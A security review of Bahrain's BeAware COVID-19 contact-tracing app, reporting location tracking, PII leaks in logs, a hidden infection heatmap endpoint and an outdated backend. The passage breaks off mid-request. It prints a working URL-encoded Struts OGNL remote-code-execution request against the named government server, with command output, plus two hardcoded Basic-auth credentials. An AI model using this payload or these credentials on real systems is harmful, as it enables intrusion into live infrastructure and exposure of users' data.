Security

How to Carry out Nation-scale Mobile Devices Compromise: COVID-19 Contact Tracing App BeAware Bahrain Review

Mobile security testing of Covid-19 Contact Tracing Application BeAware

Sun 05 July 2020

Summary

This article is a review of the BeAware Bahrain mobile application on both iOS and Android with a focus on the process transparency, security, privacy, tracing capabilities, and accessibility. This review is the follow-up of our series of articles regarding COVID-19 contact tracing applications made in collaboration with Randorisec. We invite you to read the previous article to be familiar with the methodology and the context of the reviews.

The Golden Standard

Before reviewing any of the contact tracing applications, it is first necessary to agree on a set of expectations or a standard that these applications must meet.

As far as we know, there hasn’t been any standard set anywhere. While some organizations speak about privacy, others discuss the efficiency of the tracing protocol and the guarantees it provides, there is no spec or guide that we could rely on.

We, therefore, had to draft our expectations based on a set of inputs we have collected and our best common sense.

These requirements are high level and are intentionally implementation agnostic:

  • Transparency
    • The tracing protocol is documented
    • The application architecture and design is documented
    • The application has a program to address privacy and security issues (Bug Bounty)
    • The application is open source to ease review and community vetting
  • Privacy
    • The application does not collect PII
    • The application does not track users or collect location data
    • The application uses a limited set of permissions on the device, mostly restricted to Bluetooth discovery and internet access
    • The application offers users control of their data for wipeout and sharing
  • Security
    • The application enforces a reduced attack surface, no ads, no payment or extraneous features
    • The application uses vetted and up-to-date 3rd party dependencies
    • The application communicates over a secure encrypted channel
    • The application is secure and does not leak any tracing information to any party
  • Tracing Efficiency
    • Tracing protocol doesn’t allow to track individuals
    • Sharing contact information is opt-in
    • Tracing does not share/collect location or PII data
    • Tracing doesn’t allow to retrace infected people
    • Tracing checks is not centralized and controlled by the user
    • Tracing works on Android and iOS even when the application is in the background or the screen is off
  • Accessibility
    • The application is accessible in several languages, including non-local users
    • The application can be used by non-residents (blocked in the country due to travel ban)
    • Application is usable by people with disabilities (color blindness, vision impairment, etc)
    • Application is usable by low-end phone (application size, battery consumption, low bandwidth, etc)

TL;DR

The main findings for the BeAware app identified critical issues impacting on the privacy of the users and the security of the infrastructure including the user’s devices.

The application collects GPS location on a continuous basis, which also leaked through different vectors (clear text traffic, logs). The application security could lead to the compromise of the device.

alt text

Item Category Severity
Outdated backend server vulnerable to remote code execution Security High
Absence of documentation, specs and source code Transparency High
Hidden endpoint showing a heatmap of infected users and leaking exact users addresses Contract Tracing / Privacy High
Backend server can inject arbitrary code into the mobile application Security / Privacy High
Unresponsive security contact Transparency High
Application leaks personal identifiable information and location in logs Privacy Medium
Outdated OpenSSL library Security Low
Hardcoded credentials and Secrets in the app Code Quality / Security Low
Javascript source map included in the app Code Quality / Security Low
Insecure Apache Cordova Whitelist Security Low
Personal Identifiable Information (Passport number and phone number) and location is continuously collected by the application Contract Tracing / Privacy Low

Dig Deeper: BeAware App

alt text

Transparency

During our research, we didn’t find any documentation or specification regarding the application. The source code is not publicly available, though it could be partially retrieved from the application due to a misconfiguration.

Security

BeAware mobile application uses the multi-platform framework Ionic, Typescript and Angular. The security posture of the mobile application suffers from several issues that can lead to full compromise of the backend servers and be leveraged to compromise the mobile phone.

Network Communication

The application communicates over TLS and performs proper certificate validation, except for some endpoints that communicate over cleartext, see source code extract below. The endpoint will result in a redirect to HTTPS or trigger HTTP Strict Transport Security (HSTS) in most cases for maps.google.com.

this.serviceProvider.gaTrackEvent("AppointmentPage", "Location");
if (userlocation == null) {
 mapUrl = "http://maps.google.com?q=" + item.location.lat + "," + item.location.lon;
} else {
 mapUrl = "http://maps.google.com/maps?daddr=" + item.location.lat + "," + item.location.lon + "&saddr=" + userlocation.coords.latitude + "," + userlocation.coords.longitude;
}

Hardcoded credentials and Secrets

Communication with several API endpoints uses hardcoded credentials sent as HTTP Basic authorization header. The API doesn't implement any session management system and continuously sends the phone number, personal id and device to identify the user.

this.commonUrl = "https://apps.bahrain.bh/eGACommonService/services/secure/cs/";
this.corUrl = "https://apps.bahrain.bh/corona-tracking-client-api/";
this.headers = new __WEBPACK_IMPORTED_MODULE_2__angular_http__["a" /* Headers */]({
            'Content-Type': 'application/json',
            'appname': 'BCT',
            'platform': this.platform.is('ios') ? 'ios' : 'android',
            'language': this.translate.getDefaultLang() == "en" ? "English" : "Arabic",
        'Accept-Language': this.translate.getDefaultLang(),
});
this.common = 'Basic T0NUX0lPUzpUQ09AMzRXMDEwI0lDUw==';
this.cor = 'Basic VEFXX0lPUzpUQVdAMjNKMTYwI1RBVw==';
3rd Party Dependencies

The application uses several Cordova dependencies, these dependencies were fingerprinted from the cordova_plugins.js file.

module.exports.metadata =
// TOP OF METADATA
{
 "cordova-plugin-background-fetch": "6.0.3",
 "cordova-background-geolocation": "3.6.0",
 "cordova-plugin-network-information": "2.0.2",
 "cordova-plugin-device": "2.0.2",
 "cordova-plugin-inappbrowser": "3.2.0",
 "cordova-plugin-ionic-keyboard": "2.0.5",
 "cordova-support-android-plugin": "1.0.1",
 "cordova-support-google-services": "1.2.1",
 "cordova-plugin-firebase-messaging": "1.2.1",
 "cordova-plugin-firebase-analytics": "1.1.1",
 "cordova-plugin-app-version": "0.1.9",
 "es6-promise-plugin": "4.2.2",
 "cordova-plugin-x-socialsharing": "5.6.4",
 "cordova-plugin-whitelist": "1.3.3",
 "cordova-plugin-statusbar": "2.4.2",
 "cordova-plugin-splashscreen": "5.0.2",
 "cordova-plugin-ionic-webview": "4.0.0",
 "cordova.plugins.diagnostic": "5.0.1",
 "cordova-plugin-camera-with-exif": "1.3.1",
 "cordova-plugin-file": "6.0.2",
 "com.unarin.cordova.beacon": "3.8.1",
 "cordova-plugin-badge": "0.8.8",
 "cordova-plugin-local-notification": "0.9.0-beta.2",
 "cordova-open-native-settings": "1.5.2",
 "cordova-plugin-calendar": "5.1.5",
 "cordova-plugin-hms-location": "1.0.0"
};
// BOTTOM OF METADATA
});

Cordova plugins don’t have the best track record of reporting fixed vulnerabilities, see for instance https://www.npmjs.com/package/cordova-plugin-advanced-http which fixed a vulnerability in TLS/SSL certificate validation at version 2.0.7 but without reporting any CVE.

The backend server reports however an outdated OpenSSL version:

HTTP/1.1 200
Content-Type: application/json
Content-Length: 221
Connection: close
Date: Sat, 13 Jun 2020 21:34:49 GMT
Server: Apache/2.4.43 (Amazon) OpenSSL/1.0.2k-fips
Access-Control-Allow-Origin: http://localhost
Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUT
Access-Control-Max-Age: 601
Access-Control-Allow-Headers: Authorization, appname, language, Content-Type, platform, Accept, X-Login-Ajax-call, JSESSIONID, Accept-Language, X-Authorization
Access-Control-Expose-Headers: JSESSIONID
Vary: Accept-Encoding
X-Cache: Miss from cloudfront
Via: 1.1 8455bcb2c0203b0c4ee93b610d75e69b.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: ZRH50-C1
X-Amz-Cf-Id: 7uLTx5gMknzyi-9W3HahufU5A_u94et3ZOcAq6Ty9FiPZFD3uWs8ig==


{"statusMessageEN":"App update Subscription was successful. count: 0. unsubscribeCount: 0","statusMessageAR":"App update Subscription was successful. count: 0. unsubscribeCount: 0","appRegisterID":null,"statusCode":"200"}

All the known vulnerabilities are of low impact or not exploitable remotely.

Backend

During our investigation, we identified that the backend server uses an outdated version of Apache Struts vulnerable to remote code execution (CVE-2013-2135), see below full details of the request and response.

GET /CMSWebApplication/?redirect:%25%7b%28%23%5f%3d%27%6d%75%6c%74%69%70%61%72%74%2f%66%6f%72%6d%2d%64%61%74%61%27%29%2e%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3f%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3d%23%64%6d%29%3a%28%28%23%63%6f%6e%74%61%69%6e%65%72%3d%23%63%6f%6e%74%65%78%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%3d%23%63%6f%6e%74%61%69%6e%65%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%6f%6e%74%65%78%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%29%29%2e%28%23%63%6d%64%3d%27%6c%73%27%29%2e%28%23%69%73%77%69%6e%3d%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%53%79%73%74%65%6d%40%67%65%74%50%72%6f%70%65%72%74%79%28%27%6f%73%2e%6e%61%6d%65%27%29%2e%74%6f%4c%6f%77%65%72%43%61%73%65%28%29%2e%63%6f%6e%74%61%69%6e%73%28%27%77%69%6e%27%29%29%29%2e%28%23%63%6d%64%73%3d%28%23%69%73%77%69%6e%3f%7b%27%63%6d%64%2e%65%78%65%27%2c%27%2f%63%27%2c%23%63%6d%64%7d%3a%7b%27%2f%62%69%6e%2f%62%61%73%68%27%2c%27%2d%63%27%2c%23%63%6d%64%7d%29%29%2e%28%23%70%3d%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%28%23%63%6d%64%73%29%29%2e%28%23%70%2e%72%65%64%69%72%65%63%74%45%72%72%6f%72%53%74%72%65%61%6d%28%74%72%75%65%29%29%2e%28%23%70%72%6f%63%65%73%73%3d%23%70%2e%73%74%61%72%74%28%29%29%2e%28%23%72%6f%73%3d%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%73%74%72%75%74%73%32%2e%53%65%72%76%6c%65%74%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%40%67%65%74%52%65%73%70%6f%6e%73%65%28%29%2e%67%65%74%4f%75%74%70%75%74%53%74%72%65%61%6d%28%29%29%29%2e%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%63%6f%70%79%28%23%70%72%6f%63%65%73%73%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%72%6f%73%29%29%2e%28%23%72%6f%73%2e%66%6c%75%73%68%28%29%29%7d HTTP/2
Host: apps.bahrain.bh
User-Agent: curl/7.65.3
Accept: */*
HTTP/2 200
date: Mon, 15 Jun 2020 10:26:13 GMT
server: Apache/2.4.43 (Amazon) OpenSSL/1.0.2k-fips
set-cookie: JSESSIONID=04419697E535A1149042AEBFB1E9B02D; Path=[REDACTED]; Secure; HttpOnly
x-cache: Miss from cloudfront
via: 1.1 aa787b163703f7d10f3853a5942eae76.cloudfront.net (CloudFront)
x-amz-cf-pop: YTO50-C2
x-amz-cf-id: G31YvcT9NzY9oZS7W_4dhziwZRl-DJZWgHxAjHnUNCFwKVtQcwgQew==

bin
conf
lib
logs
temp
webapps
work

* Connection #0 to host apps.bahrain.bh left intact

The common root cause of these issues is the fact the struts library is baked in the jar/war files. Common practices of updating the OS packages without rebuilding the application are not sufficient to fix this issue.

The mobile application fetches several information from the server, desEn and desAr parameters are HTML input directly injected into the application using innerHTML, see response below and template source code sample:

HTTP/1.1 200
Content-Type: application/json
Connection: close
Date: Sat, 13 Jun 2020 21:36:45 GMT
Server: Apache/2.4.43 (Amazon) OpenSSL/1.0.2k-fips
Access-Control-Allow-Origin: http://localhost
Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUT
Access-Control-Max-Age: 601
Access-Control-Allow-Headers: Authorization, appname, language, Content-Type, platform, Accept, X-Login-Ajax-call, JSESSIONID, Accept-Language, X-Authorization
Access-Control-Expose-Headers: JSESSIONID
Vary: Accept-Encoding
X-Cache: Miss from cloudfront
Via: 1.1 08c5e904e2f0226b2d9c1417f32b12f2.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: ZRH50-C1
X-Amz-Cf-Id: MrFRytnry9kNIIsBvSLtXmaxZ_v-qvMNyDmcz5j_KZT-T36dRTKluA==
Content-Length: 59500

{"appStoreList":[{"code":"MYS","nameAr":"eشباب","nameEn":"eShabab","ownerAr":"وزارة شئون الشباب والرياضة","ownerEn":"Ministry of Youth and Sports Affairs (MYS)","descAr":"<p>يوفر هذا التطبيق مجموعة من الخدمات التي تستهدف فئة الشباب، حيث بإمكانهم الاستفادة مما يلي:</p>\r\n<ul>\r\n\t<li>خدمة "يلا نسجل"، حيث تتيح إمكانية:\r\n\t\t<ol>\r\n\t\t\t<li>تسجيل وتحديث الملف الشخصي.</li>\r\n\t\t\t<li>البحث والتسجيل في البرامج الشبابية</li>\r\n\t\t\t<li>عرض قائمة البرامج المسجلة</li>\r\n\t\t\t<li>التسجيل لامتحان التقييم والاستعلام عن حالة الامتحان</li>\r\n\t\t\t<li>إضافة أفراد العائلة (أبناء أو أشقاء) مع إمكانية تسجيلهم في البرامج</li>\r\n\t\t\t<li>التسجيل للحصول على إخطارات في حال توفر مقاعد شاغرة للبرامج مكتملة التسجيل.</li>\r\n\t\t</ol>\r\n\t</li>\r\n\t<li>خدمة "سواعد"، حيث تتيح إمكانية تقيم طلب التطوع لوزارة شؤون الشباب والرياضة.</li>\r\n\t<li>عرض قائمة الفعاليات التي تنظمها وزارة شؤون الشباب والرياضة مع إمكانية التسجيل، إضافة الفعالية إلى التقويم، ومشاركة تفاصيلها عبر تطبيقات التواصل الاجتماعي.</li>\r\n\t<li>مواقعنا: خدمة تعتمد على الخريطة لعرض تفاصيل جميع المراكز الشبابية والأندية الرياضة المتواجدة في مملكة البحرين.</li>\r\n\t<li>توفير الإشعارات والإخطارات المرسلة من قبل الوزارة عبر التطبيق</li>\r\n</ul>","descEn":"<p>This app provides a collection of services targeting the Youth, where they can benefit from the following:</p>\r\n<ul>\r\n\t<li>"Let's Register" service, where it provides the ability to:\r\n\t\t<ol>\r\n\t\t\t<li>Create and update the user profile.</li>\r\n\t\t\t<li>Search and register for youth programs.</li>\r\n\t\t\t<li>View the list of registered programs.</li>\r\n\t\t\t<li>Register for assessment exams and enquire about the status.</li>\r\n\t\t\t<li>Add Family members (Children or Siblings) with the ability to register them for programs.</li>\r\n\t\t\t<li>Request to be notified when seats are available for fully booked programs.</li>\r\n\t\t</ol>\r\n\t</li>\r\n\t<li>"Sawaed" service, where users can submit a volunteering request to Ministry of Youth and Sport Affairs (MYS).</li>\r\n\t<li>View the list of events provided by Ministry of Youth and Sport Affairs (MYS) with the ability to register, add it to the calendar, and share the event details through social media.</li>\r\n\t<li>MYS Locator: A map-based service that provides the list of youth centers and sport clubs across the Kingdom of Bahrain and the details for each center or club.</li>\r\n\t<li>Receive notifications sent by the ministry.</li>\r\n</ul>","rating":3.27,"screenshots":["https://apps.bahrain.bh/mobileapps/appstore/images/eshabab_screenshot_1.png","https://apps.bahrain.bh/mobileapps/appstore/images/eshabab_screenshot_2.png","https://apps.bahrain.bh/mobileapps/appstore/images/eshabab_screenshot_3.png","https://apps.bahrain.bh/mobileapps/appstore/images/eshabab_screenshot_4.png","https://apps.bahrain.bh/mobileapps/appstore/images/eshabab_screenshot_5.png"],"ratingCount":24,"linkAr":"https://eshabab.page.link/ar","linkEn":"https://eshabab.page.link/en","aboutAr":"\n<p>يتيح هذا التطبيق مجموعة من الخدمات بالتعاون مع الجهات التالية:</p>\n<ul>\n  <li>هيئة المعلومات والحكومة الإلكترونية</li>\n  <li>وزارة شؤون الشباب والرياضة</li>\n</ul>\n<p>يهدف التطبيق إلى عرض الفعاليات والبرامج المتاحة للشباب وتسهيل عملية التسجيل فيها، إلى جانب إمكانية تقديم طلب للعمل التطوعي.\n</p>\n","aboutEn":"\n<p>This application provides a group of services in collaboration with the following entities:</p>\n<ul>\n  <li>Information and eGovernment Authority (iGA)</li>\n  <li>Ministry of Youth and Sport Affairs (MYS)</li>\n</ul>\n<p>It aims to introduce the list of events and programs provided for the youth easing the registration process, along with the ability to submit a volunteering request.\n</p>\n","icon":"https://apps.bahrain.bh/mobileapps/appstore/images/eshabab_logo.png","order":70,"status":"STABLE"},
Object(__WEBPACK_IMPORTED_MODULE_1__angular_core__["Component"])({
   selector: 'page-our-apps-details',template:/*ion-inline-start:"D:\angular-2\corona19\corona-tracking-app\src\pages\our-apps-details\our-apps-details.html"*/'<ion-header>\n\n  <ion-navbar no-border-bottom color="light">\n\n    <button ion-button menuToggle>\n\n      <ion-icon name="menu"></ion-icon>\n\n    </button>\n\n    <ion-title text-center>{{translate.getDefaultLang() == \'ar\' ? app?.nameAr : app?.nameEn}}</ion-title>\n\n    <ion-buttons end>\n\n      <button ion-button icon-only (click)="socialMediaShare()">\n\n        <ion-icon name="md-share"></ion-icon>\n\n      </button>\n\n    </ion-buttons>\n\n  </ion-navbar>\n\n</ion-header>\n\n\n\n<ion-content>\n\n  <div class="whiteBg">\n\n    <ion-grid class="appInfo ">\n\n      <ion-row>\n\n        <ion-col col-5>\n\n          <img class="icon" [src]="app?.icon" />\n\n        </ion-col>\n\n        <ion-col col-7>\n\n          <h3 class="name">{{translate.getDefaultLang() == \'ar\' ? app?.nameAr : app?.nameEn}}</h3>\n\n          <div class="author">{{translate.getDefaultLang() == \'ar\' ? app?.ownerAr : app?.ownerEn}}</div>\n\n          <button ion-button round color="primary"\n\n            (click)="openURL(translate.getDefaultLang() == \'ar\' ? app.linkAr : app.linkEn)">{{\'OURAPPSDETAILS.PREVIEW\'\n\n            | translate}}\n\n          </button>\n\n        </ion-col>\n\n      </ion-row>\n\n      <ion-row>\n\n        <ion-col>\n\n          <div class="rate-star">\n\n            <span>{{app?.rating | number : \'1.1-1\'}}</span>\n\n            <ion-icon *ngFor="let star of stars" [name]="star" class="stars"></ion-icon>\n\n          </div>\n\n          <p class="rate-counter">{{app?.ratingCount}} {{\'OURAPPSDETAILS.RATINGS\' | translate}}</p>\n\n        </ion-col>\n\n      </ion-row>\n\n    </ion-grid>\n\n    <hr>\n\n    <div class="description" padding>\n\n      <h2 class="title">{{\'OURAPPSDETAILS.DESCRIPTION\' | translate}}</h2>\n\n      <div class="details" [innerHTML]="translate.getDefaultLang() == \'ar\' ? app?.descAr : app?.descEn">

Once an attacker compromises the backend server, it is possible to poison server responses injecting javascript backdoor to compromise the mobile devices.

There are numerous techniques to achieve persistence afterwards, leveraging service workers or write access to application’s cache.

For obvious reasons, none of these attacks were tested and are detected from network traffic analysis and static analysis.

Chaining these vulnerabilities can lead to compromising hundreds of thousands of devices with over-permissions of the application.

Source Code

Source code of the application is leaking using .js.map.

{
 "version": 3,
 "sources": [
   "../../src/pipes/language/language.ts",
   "../../src/pages/leave-permistions/leave-permistions.ts",
   "../../src/pages/leave-permission-change/leave-permission-change.ts",
   "../../src/pages/self-requests/self-requests.ts",
   "../../src/pages/registration-photo/registration-photo.ts",
   "../../node_modules/@angular/core/esm5 lazy",
   "../../src/pages/symtoms-report-pop-up/symtoms-report-pop-up.ts",
   "../../src lazy",
   "../../src/pages/symtoms-report/symtoms-report.ts",
   "../../src/pages/gmap/gmap.ts",
   "../../src/pages/dispute/dispute.ts",
   "../../src/pages/appointment/appointment.ts",
   "../../src/pages/appointment-confirm/appointment-confirm.ts",
   "../../src/pages/change-mobile/change-mobile.ts",
   "../../src/pages/decisions/decisions.ts",
   "../../src/pages/notification-details/notification-details.ts",
   "../../src/pages/registration/registration.ts",
   "../../src/pages/test-results/test-results.ts",
   "../../src/pages/test-results-details/test-results-details.ts",
   "../../src/pages/self-upload/self-upload.ts",
   "../../src/pages/popup-status/popup-status.ts",
   "../../src/pages/leave-permistions-modal/leave-permistions-modal.ts",
   "../../src/pages/leave-permistions-request/leave-permistions-request.ts",

...
"names": [],
  "mappings": ";;;;;;;;;;;;;;;;;;AAAoD;AACG;AAKvD;IACE,sBAAoB,SAA2B;QAA3B,cAAS,GAAT,SAAS,CAAkB;IAAI,CAAC;IAEpD,gCAAS,GAAT,UAAU,KAAa;QAErB,MAAM,CAAC,KAAK,CAAC,CAAC,CAAC,IAAI,CAAC,QAAQ,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,EAAE,CAAC;IAC3C,CAAC;IAED,+BAAQ,GAAR,UAAS,KAAK;QACZ,IAAM,IAAI,GA
...
"file": "main.js",
 "sourcesContent": [
   "import { Pipe, PipeTransform } from '@angular/core';\r\nimport { TranslateService } from '@ngx-translate/core';\r\n\

Source maps can be easily used to recreate the original source code using the following lines 8 lines of code:

import json
from pathlib import Path

j = json.load(open('main.js.map', 'r'))
names = j['sources']
contents = j['sourcesContent'] 
for n, c in zip(names, contents): 
   Path(n).parent.mkdir(parents=True, exist_ok=True) 
   open(n, '+w').write(c) 
Insecure Cordova Whitelist

Cordova’s whitelist manages network security access and must authorise explicitly accessible resources only. However, BeAware's whitelist allows unrestricted access to all resources

Url whitelisted: *

Privacy and Contact Tracing

Permissions

The application requests a large number of permissions, even though several are not used by the application. Bluetooth contact tracing is for instance not fully implemented and is not operational in the application, yet is requested among the application’s permissions.

The requested permissions include network, GPS, bluetooth, contact and external storage access.

Below if a list of all the permissions on Android:

  <uses-permission android:name="android.permission.INTERNET"/>
  <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
  <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
  <uses-permission android:name="android.permission.BLUETOOTH" android:required="false"/>
  <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
  <uses-permission android:name="android.permission.WAKE_LOCK"/>
  <uses-permission android:name="android.permission.READ_CALENDAR"/>
  <uses-permission android:name="android.permission.WRITE_CALENDAR"/>
  <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" android:required="false"/>
  <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
  <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
  <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
  <uses-permission android:name="android.permission.GET_TASKS"/>
  <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
  <uses-permission android:name="android.permission.ACTIVITY_RECOGNITION"/>
  <uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
  <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
  <uses-permission android:name="com.google.android.gms.permission.ACTIVITY_RECOGNITION"/>
  <uses-permission android:name="oppo.permission.OPPO_COMPONENT_SAFE"/>
  <uses-permission android:name="com.huawei.permission.external_app_settings.USE_COMPONENT"/>
  <uses-feature android:name="android.hardware.location.gps" android:required="false"/>
  <uses-permission android:name="com.sec.android.provider.badge.permission.READ"/>
  <uses-permission android:name="com.sec.android.provider.badge.permission.WRITE"/>
  <uses-permission android:name="com.htc.launcher.permission.READ_SETTINGS"/>
  <uses-permission android:name="com.htc.launcher.permission.UPDATE_SHORTCUT"/>
  <uses-permission android:name="com.sonyericsson.home.permission.BROADCAST_BADGE"/>
  <uses-permission android:name="com.sonymobile.home.permission.PROVIDER_INSERT_BADGE"/>
  <uses-permission android:name="com.anddoes.launcher.permission.UPDATE_COUNT"/>
  <uses-permission android:name="com.majeur.launcher.permission.UPDATE_BADGE"/>
  <uses-permission android:name="com.huawei.android.launcher.permission.CHANGE_BADGE"/>
  <uses-permission android:name="com.huawei.android.launcher.permission.READ_SETTINGS"/>
  <uses-permission android:name="com.huawei.android.launcher.permission.WRITE_SETTINGS"/>
  <uses-permission android:name="android.permission.READ_APP_BADGE"/>
  <uses-permission android:name="com.oppo.launcher.permission.READ_SETTINGS"/>
  <uses-permission android:name="com.oppo.launcher.permission.WRITE_SETTINGS"/>
  <uses-permission android:name="me.everything.badger.permission.BADGE_COUNT_READ"/>
  <uses-permission android:name="me.everything.badger.permission.BADGE_COUNT_WRITE"/>
  <uses-permission android:name="com.google.android.c2dm.permission.RECEIVE"/>
  <uses-permission android:name="com.google.android.finsky.permission.BIND_GET_INSTALL_REFERRER_SERVICE"/>

And this is the list of permissions required on iOS:

<key>NSMicrophoneUsageDescription</key>
<string>This app requires microphone access to function properly.</string>
<key>NSMotionUsageDescription</key>
<string>Device motion updates help determine when the device is stationary so the app can save power by turning off location-updates</string>
<key>NSCalendarsUsageDescription</key>
<string>Calendar permission is required for adding corona test appointments</string>
<key>NSRemindersUsageDescription</key>
<string>This app requires reminders access to function properly.</string>
<key>NSLocationWhenInUseUsageDescription</key>
<string>Background location tracking is required for our app so we can track your location for corona affected places</string>
<key>NSLocationAlwaysAndWhenInUseUsageDescription</key>
<string>Background location tracking is required for our app so we can track your location for corona affected places</string>
<key>NSPhotoLibraryUsageDescription</key>
<string>This app requires photo library access to function properly.</string>
<key>NSPhotoLibraryAddUsageDescription</key>
<string>This app requires photo library access to function properly.</string>
<key>NSContactsUsageDescription</key>
<string>This app requires contacts access to function properly.</string>
<key>NSLocationAlwaysUsageDescription</key>
<string>Background location tracking is required for our app so we can track your location for corona affected places</string>
<key>NSCameraUsageDescription</key>
<string>Camera access is required for quarantine photo uploads or to attach medical certificate</string>
<key>NSBluetoothAlwaysUsageDescription</key>
<string>Bluetooth permission is required for Home quarantined users to detect wristband</string>
<key>NSBluetoothPeripheralUsageDescription</key>
<string>This app would like to scan for iBeacons.</string>
Logging

The application logs massive amounts of data, including PII and tracking information, such as device id, government card id, like passeport, phone number, etc.

See extract leaking GPS coordinates:

06-14 12:31:37.637 19337 19337 D TSLocationManager: ╔═════════════════════════════════════════════
06-14 12:31:37.637 19337 19337 D TSLocationManager:  TrackingService: LocationResult
06-14 12:31:37.637 19337 19337 D TSLocationManager: ╠═════════════════════════════════════════════
06-14 12:31:37.637 19337 19337 D TSLocationManager: ╟─ 📍  Location[fused 26.233880,50.577910 hAcc=20 et=+13h12m43s511ms vel=9.174615 bear=90.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{}]}], age: 264ms, time: 1592130712000
06-14 12:31:37.637 19337 19337 I TSLocationManager: [c.t.l.service.TrackingService a] 
06-14 12:31:37.637 19337 19337 I TSLocationManager:   ℹ️  Distance from stoppedAtLocation: -40.0
06-14 12:31:37.637 19337 21391 D TSLocationManager: [c.t.l.l.TSLocationManager onLocationResult] 

See extract of logs leaking the user info in the logs (passeport, phone number, device id):

06-14 11:02:46.654 19337 19425 I TSLocationManager:   "params": {
06-14 11:02:46.654 19337 19425 I TSLocationManager:     "userDevice": {
06-14 11:02:46.654 19337 19425 I TSLocationManager:       "userType": "passport",
06-14 11:02:46.654 19337 19425 I TSLocationManager:       "userId": "CN1586236",
06-14 11:02:46.654 19337 19425 I TSLocationManager:       "deviceId": "befd3b10cbf11a2d",
06-14 11:02:46.654 19337 19425 I TSLocationManager:       "mobileNumber": "+336123123123"
06-14 11:02:46.654 19337 19425 I TSLocationManager:     }
06-14 11:02:46.654 19337 19425 I TSLocationManager:   },
Hidden Features

Hidden, yet accessible features are identifiable from the application. A specific API endpoint allows retrieving a heatmap of infections. The heatmap is accurate to the point of showing the exact address of infected persons. The following is the sample request to retrieve the heatmap:

POST /corona-tracking-client-api/trace/positive/heatmap HTTP/1.1
Host: apps.bahrain.bh
Connection: close
Origin: http://localhost
language: english
Accept-Language: en
Authorization: Basic [REDACTED]
Content-Type: application/json
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Linux; Android 7.1.2; Nexus 5 Build/NJH47F; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/67.0.3396.87 Mobile Safari/537.36
appname: BCT
platform: android
Referer: http://localhost/
Accept-Encoding: gzip, deflate
X-Requested-With: bh.bahrain.corona.tracker
Content-Length: 21

[REDACTED]

During our tests, this list contained 10 000 unique points. Here is an extract of the response obtained:

{
  "list": [
    {
    "key": "thshb50",
    "latitude": 26.[REDACTED],
    "longitude": 50.[REDACTED],
    "weight": [REDACTED]
    },
    {
    "key": "thsj120",
    "latitude": 26.[REDACTED],
    "longitude": 50.[REDACTED],
    "weight": [REDACTED]
    },
    {
    "key": "theuxfv",
    "latitude": 26.[REDACTED],
    "longitude": 50.[REDACTED],
    "weight": [REDACTED]
    },
    {
    "key": "thsj15q",
    "latitude": 26.[REDACTED],
    "longitude": 50.[REDACTED],
    "weight": [REDACTED]
    },
    {
    "key": "thsh2jd",
    "latitude": 26.[REDACTED],
    "longitude": 50.[REDACTED],
    "weight": [REDACTED]
    },
    {
    "key": "thevjcz",
    "latitude": 26.[REDACTED],
    "longitude": 50.[REDACTED],
    "weight": [REDACTED]
    },

The heatmap was recreated to generate the following map:

alt text

These information can be cross referenced with other public resources, such the list of all infected people by age, gender, citizenship:

alt text

Personal Identifiable Information

A user of the app can decide to perform the registration process. The app encourages this step in order to “help in preventing the virus from spreading”. There are 2 ways to register:

  1. Register with a CPR number (Bahraini ID)
  2. Register with a Passport number

Not having a valid CPR number, we were able to use a passport number to register.The app then asks for the mobile phone number to complete the registration, by sending an OTP.

alt text alt text

After registration, the app collects and continuously streams the phone’s GPS coordinates to the backend. The streamed information contains also the passport / CPR and the mobile phone number. This is due to the absence of any session management in the application. This also allows attackers to spoof the GPS coordinates of other users, provided you have their phone number and ID.

Here is an example of the requests sent:

POST /corona-tracking-client-api/locations HTTP/1.1
Content-Type: application/json; charset=utf-8
Content-Length: 495
